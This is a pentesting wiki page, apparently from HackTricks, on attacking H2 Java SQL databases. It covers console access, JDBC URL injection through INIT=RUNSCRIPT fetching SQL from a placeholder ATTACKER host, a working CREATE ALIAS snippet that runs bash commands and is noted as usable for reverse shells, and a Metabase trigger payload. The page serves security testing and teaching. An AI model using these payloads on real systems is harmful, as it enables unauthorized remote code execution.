h2-java-sql-database.md (5636B)
1 --- 2 title: "H2 - Java SQL database" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/h2-java-sql-database.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # H2 - Java SQL database 14 15 H2 is a Java SQL database that supports embedded and server modes. See the [official documentation](https://h2database.github.io/html/main.html).<sup>[[1]](#references)</sup> 16 17 ## Access 18 19 With an embedded H2 URL, connecting to a nonexistent database creates it by default, and the supplied user becomes its administrator. Remote creation through the H2 Console or a server interface is disabled by default in current versions; it must have been explicitly enabled to use this behavior remotely.<sup>[[1]](#references)</sup> 20 21  22 23 The console can also connect to another supported database when its JDBC URL, database name, and credentials are known: 24 25  26 27 _This technique appeared in the Hack The Box machine Hawk._ 28 29 ## RCE with database access 30 31 When an attacker can execute SQL with sufficient privileges, H2 aliases can expose Java methods and lead to command execution in the database process. The referenced proof of concept demonstrates this technique.<sup>[[2]](#references)</sup> 32 33 34 ## H2 JDBC URL / connection-pool injection 35 36 If an application lets you edit an **H2 JDBC URL** (for example through a DB connection-pool config page), treat it as a potential code-execution surface. H2 can run SQL automatically when a connection opens using `INIT=`, and `RUNSCRIPT` can pull that SQL from an attacker-controlled URL. In Apache NiFi this was exposed as **CVE-2023-34468** in `DBCPConnectionPool` / `HikariCPConnectionPool` through **1.21.0**; **1.22.0** rejects H2 JDBC URLs for that vulnerable surface.<sup>[[4]](#references)[[6]](#references)</sup> 37 38 Typical workflow:<sup>[[4]](#references)[[6]](#references)[[8]](#references)</sup> 39 40 1. Change the URL to something like `jdbc:h2:mem:maint;INIT=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'`. 41 2. Force the target to open a **new** connection (disable/re-enable the pool, restart the dependent job, or trigger reconnection another way). 42 3. Serve `poc.sql` from a simple HTTP server and watch the access logs to confirm the trigger. Stop scheduled tasks while iterating payloads because some apps will reconnect and fetch the script repeatedly. 43 44 A common second stage is to register a Java-backed function with `CREATE ALIAS` and turn SQL execution into OS command execution:<sup>[[5]](#references)[[7]](#references)</sup> 45 46 ```sql 47 CREATE ALIAS SHELLEXEC AS $$ 48 String shellexec(String cmd) throws java.io.IOException { 49 String[] c = {"bash", "-c", cmd}; 50 java.util.Scanner s = new java.util.Scanner( 51 Runtime.getRuntime().exec(c).getInputStream() 52 ).useDelimiter("\A"); 53 return s.hasNext() ? s.next() : ""; 54 } $$; 55 CALL SHELLEXEC('id'); 56 ``` 57 58 Using `bash -c` keeps redirections, pipes, and `&` working for reverse-shell payloads; without a shell wrapper, `Runtime.getRuntime().exec(...)` does not interpret those metacharacters for you.<sup>[[7]](#references)[[8]](#references)</sup> 59 60 **NiFi note:** before spending time on the H2 path, check whether the user can create or schedule processors such as `ExecuteProcess`. In NiFi, that level of flow administration is already equivalent to OS command execution even without the H2-specific bug.<sup>[[6]](#references)[[8]](#references)</sup> 61 62 ## H2 SQL Injection to RCE 63 64 Assetnote demonstrated how an H2 connection-string injection in Metabase could create a JavaScript trigger and obtain pre-authentication remote code execution. The payload below is an abbreviated example from that research.<sup>[[3]](#references)</sup> 65 66 ```json 67 [...] 68 "details": 69 { 70 "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;", 71 "advanced-options": false, 72 "ssl": true 73 }, 74 [...] 75 ``` 76 77 ## References 78 79 - [1] [H2 documentation: Creating New Databases](https://h2database.github.io/html/tutorial.html#creating_new_databases) 80 - [2] [h4ckninja: H2 database command-execution proof of concept](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) 81 - [3] [Assetnote: Chaining Our Way to Pre-Auth RCE in Metabase (CVE-2023-38646)](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) 82 - [4] [H2 Features - INIT property / database URL settings](https://www.h2database.com/html/features.html) 83 - [5] [H2 Commands - RUNSCRIPT and CREATE ALIAS](https://www.h2database.com/html/commands.html) 84 - [6] [Apache NiFi Security Reporting - CVE-2023-34468 and command-executing processors](https://nifi.apache.org/documentation/security/) 85 - [7] [Abusing H2 Database ALIAS](https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html) 86 - [8] [HTB: Helix](https://0xdf.gitlab.io/2026/08/08/htb-helix.html)